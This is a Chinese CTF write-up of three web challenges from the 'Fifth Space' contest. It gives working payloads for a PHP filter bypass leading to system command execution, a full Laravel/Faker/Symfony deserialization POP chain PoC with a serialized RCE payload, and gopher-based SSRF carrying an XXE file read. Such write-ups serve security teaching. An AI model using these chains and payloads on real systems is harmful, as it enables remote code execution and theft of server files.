1. 程式人生 > 實用技巧 >“第五空間”智慧安全大賽-Web-writeup

“第五空間”智慧安全大賽-Web-writeup

hate-php

原始碼:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

可以看到過濾了一些單個字元和所有的php內建函式
只要繞過正則匹配就好
可以用異或或者取反構造shell,這裡用取反:

<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"cat *");
//echo ~(urldecode("%8D%9A%9E%9B%99%96%93%9A"));
?>

構造一下:

http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5))

laravel

確定版本:

vendor\laravel\framework\src\Illuminate\Foundation\Application.php32行看到5.7.28版本,這個版本存在反序列化漏洞
然後利用搜索引擎找到了一堆復現
但是一跟進,發現PendingCommand.php中解構函式刪掉了掉用run()

尋找可用poc鏈

只能另闢蹊徑,找到這篇文章:2018護網杯easy_laravel getshell
繼續嘗試跟進,看能不能利用這個鏈,發現vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

裡的解構函式也被ban了:(嚶嚶嚶)

但是解構函式多的是,這個沒了換一個就是了,主要是之前沒法呼叫run()執行命令,看下這個鏈裡的Generator類相關的執行命令函式且有沒有被ban:
vendor/fzaninotto/faker/src/Faker/Generator.php裡,發現function format($formatter, $arguments = array())呼叫了call_user_func_array(),如果它的輸入能被控制,就能執行命令

繼續跟進:
Generator.php原始碼:

<?php

namespace Faker;

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function addProvider($provider)
    {
        array_unshift($this->providers, $provider);
    }

    public function getProviders()
    {
        return $this->providers;
    }

    public function seed($seed = null)
    {
        if ($seed === null) {
            mt_srand();
        } else {
            if (PHP_VERSION_ID < 70100) {
                mt_srand((int) $seed);
            } else {
                mt_srand((int) $seed, MT_RAND_PHP);
            }
        }
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function parse($string)
    {
        return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
    }

    protected function callFormatWithMatches($matches)
    {
        return $this->format($matches[1]);
    }

    public function __get($attribute)
    {
        return $this->format($attribute);
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
}

在277行發現魔術方法__call()呼叫了format()

我們知道當呼叫一個不存在的方法時會自動呼叫__call(),並且這裡__call()呼叫了format()且引數可控,就可以執行命令了

接下來尋找合適的類完成它的觸發:
vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中找到合適的解構函式:
原始碼:

<?php

namespace Symfony\Component\Routing\Loader\Configurator;

use Symfony\Component\Routing\Route;
use Symfony\Component\Routing\RouteCollection;

class ImportConfigurator
{
    use Traits\RouteTrait;

    private $parent;

    public function __construct(RouteCollection $parent, RouteCollection $route)
    {
        $this->parent = $parent;
        $this->route = $route;
    }

    public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }

    final public function prefix($prefix, bool $trailingSlashOnRoot = true)
    {
        if (!\is_array($prefix)) {
            $this->route->addPrefix($prefix);
            if (!$trailingSlashOnRoot) {
                $rootPath = (new Route(trim(trim($prefix), '/').'/'))->getPath();
                foreach ($this->route->all() as $route) {
                    if ($route->getPath() === $rootPath) {
                        $route->setPath(rtrim($rootPath, '/'));
                    }
                }
            }
        } else {
            foreach ($prefix as $locale => $localePrefix) {
                $prefix[$locale] = trim(trim($localePrefix), '/');
            }
            foreach ($this->route->all() as $name => $route) {
                if (null === $locale = $route->getDefault('_locale')) {
                    $this->route->remove($name);
                    foreach ($prefix as $locale => $localePrefix) {
                        $localizedRoute = clone $route;
                        $localizedRoute->setDefault('_locale', $locale);
                        $localizedRoute->setDefault('_canonical_route', $name);
                        $localizedRoute->setPath($localePrefix.(!$trailingSlashOnRoot && '/' === $route->getPath() ? '' : $route->getPath()));
                        $this->route->add($name.'.'.$locale, $localizedRoute);
                    }
                } elseif (!isset($prefix[$locale])) {
                    throw new \InvalidArgumentException(sprintf('Route "%s" with locale "%s" is missing a corresponding prefix in its parent collection.', $name, $locale));
                } else {
                    $route->setPath($prefix[$locale].(!$trailingSlashOnRoot && '/' === $route->getPath() ? '' : $route->getPath()));
                    $this->route->add($name, $route);
                }
            }
        }

        return $this;
    }

    final public function namePrefix(string $namePrefix)
    {
        $this->route->addNamePrefix($namePrefix);

        return $this;
    }
}


這裡解構函式呼叫了addCollection方法

pop鏈構造

我們還知道,當__destruct銷燬物件的時候會自動呼叫該方法,而呼叫一個不存在的方法時會自動呼叫__call(),所以現在pop鏈就清楚了,先建立一個Generator例項,然後將其賦值給ImportConfigurator$parent。當ImportConfigurator自動銷燬時會呼叫GeneratoraddCollection方法,但是addCollection方法在Generator中不存在,所以自動呼叫Generator中的__call()方法,而__call()方法呼叫了format方法,format裡面的兩個引數都可控,這樣就可以RCE了。
poc:

<?php
namespace Symfony\Component\Routing\Loader\Configurator {
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct( $parent, $route)
        {
            $this->parent = $parent;
            $this->route = $route;
        }
        public function __destruct()
        {
            $this->parent->addCollection($this->route);
        }
    }
}



namespace Faker{
    class Generator
    {
        protected $formatters;

        function __construct($forma){
            $this->formatters = $forma;
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    }
}
namespace{
    $fs = array("addCollection"=>"system");
    $gen = new Faker\Generator($fs);
    $pb = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($gen,"bash -c 'cat /flag'");
    echo(urlencode(serialize($pb)));
}

payload:

O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A19%3A%22bash+-c+%27cat+%2Fflag%27%22%3B%7D

反序列化點直接全域性搜尋unserialize,發現/index路由:

GET傳值引數為p,拿到flag

do you know

這題很讓人無語
index.php:

<?php
highlight_file(__FILE__);
#本題無法訪問外網
#這題真沒有其他檔案,請不要再開目錄掃描器了,有的檔案我都在註釋裡面告訴你們了
#各位大佬...這題都沒有資料庫的存在...麻煩不要用工具掃我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什麼都沒有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 設定超時
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 設定超時
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 設定header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求結果為字串且輸出到螢幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用證書:cert 與 key 分別屬於兩個.pem檔案


    $res = curl_exec($ch);
    var_dump($res);

讀完原始碼,可以知道前兩個QUERY_STRING要鍵名不同值相同,然後會獲取最後一個值作為url,然後使用php的curl模組進行訪問
看到提示xxe.php
先訪問xxe.php,原始碼:

<?php
highlight_file(__FILE__);
#這題和命令執行無關,請勿嘗試
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
    ob_end_clean();
    
}
?>
<style>
div.main{
    width:90%;
    max-width:50em;
    margin:0 auto;
}
textarea{
    width:100%;
    height:10em;
}
input[type="submit"]{
    margin: 1em 0;
}
</style>
<div class="main">
    <form action="" method="POST">
        <textarea name="data">
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');
?>
        </textarea><br/>
        <input style="" type="submit" value="submit"/>
           <a target="_blank" href="<?php echo basename(__FILE__).'?s';?>">View Source Code</a>
    </form>
    <pre>
<?php echo htmlspecialchars($resp);?>
    </pre>
</div>

就是一個簡單的無過濾的xxe,需要post傳值,並且只能本地訪問
想到Gopher協議

Gopher的構造

由於gopher可以構造各種HTTP請求包,所以gopher在SSRF漏洞利用中充當萬金油的角色
基本協議格式:URL:gopher://<host>:<port>/<gopher-path>_後接TCP資料流

幾個注意點:

  • gopher協議沒有預設埠,所以需要指定web埠
  • 回車換行使用%0d%0a
  • 如果多個引數,引數之間的&也需要進行URL編碼
  • 結尾也得使用%0d%0a作為資料包截止的標誌

實際測試以及閱讀文章中發現gopher存在以下幾點問題

  • PHP的curl預設不跟隨302跳轉
  • curl7.43gopher協議存在%00截斷的BUG,v7.45以上可用
  • file_get_contents()的SSRF,gopher協議不能使用URLencode
  • file_get_contents()的SSRF,gopher協議的302跳轉有BUG會導致利用失敗

GET

GET的HTTP包:

GET /get.php?name=leon HTTP/1.1
Host: 127.0.0.1

構造後:

gopher://127.0.0.1:80/_GET%20/get.php%3fname=leon%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A

POST

必須的頭部:

  • Host
  • Content-Type
  • Content-Length
  • 需要post的資料

POST的HTTP包:

POST /post.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:9

name=leon

構造後:

gopher://127.0.0.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:9%0d%0A%0d%0Aname=leon%0d%0A

然後來看本題:
需要用gopher協議向xxe.phppostxxepayload
測試過程中發現,直接向http://121.36.64.91/?a=leon&b=leon&c=http://127.0.0.1/xxe.phppostpayload時抓包:

可以發現data是被urlencode過的,所以gopher構造時,data也應該是urlencode過的,因為這裡是打ssrf,瀏覽器會解碼一次,curl會再解碼一次,所以需要構造的gopher資料進行二次編碼:
構造的gopher:

POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1

data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E

二次編碼後:(記得換行符替換)

POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A

payload:

http://121.36.64.91/?a=leon&b=leon&c=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A

到這裡根據提示讀main.php和hints.php:

<?php
class A
{
    public $object;
    public $method;
    public $variable;

    function __destruct()
    {
        $o = $this->object;
        $m = $this->method;
        $v = $this->variable;
        $o->$m();
        global $$v;
        $answer = file_get_contents('flag.php');
        ob_end_clean();
    }
}

class B
{
    function read()
    {
        ob_start();
        global $answer;
        echo $answer;
    }
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
if (isset($_GET['‬'])) {
    unserialize($_GET['‬'])->CaptureTheFlag();
} else {
    die('you do not pass the misc');
}

構造好pop鏈會發現ob_start()開啟了,所以無法輸出

槽點1$_GET['‬']乍一看啥都沒有,直接複製丟進url欄一看,發現是不可見字元%E2%80%AC,然後hints.php起初不知道是用來幹嘛的,反序列化搞完了發現ob_start()開啟了無法輸出內容,還以為hints.php是用來提示什麼,後來caoyi小哥哥提示我兩個數md5不同我才發現原來是用來提示
%E2%80%AC的。。。。???
槽點2:到現在做完了還不知道預期到底是啥,如果預期是利用$poc=$_SERVER['QUERY_STRING'];的特性,將flag等被過濾的關鍵詞用url編碼繞過,那麼直接在index.php用file協議就可以讀到flag.php:

http://121.36.64.91/?a=leon&b=leon&leon=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

那就不需要到xxe.php去用gopher協議打xxe讀flag.php,因為兩個地方都是要url編碼繞過關鍵詞

如果預期是main.php繞過ob_start()進行輸出,那我等一手wp,看完了再來複現

參考:Gopher協議在SSRF漏洞中的深入研究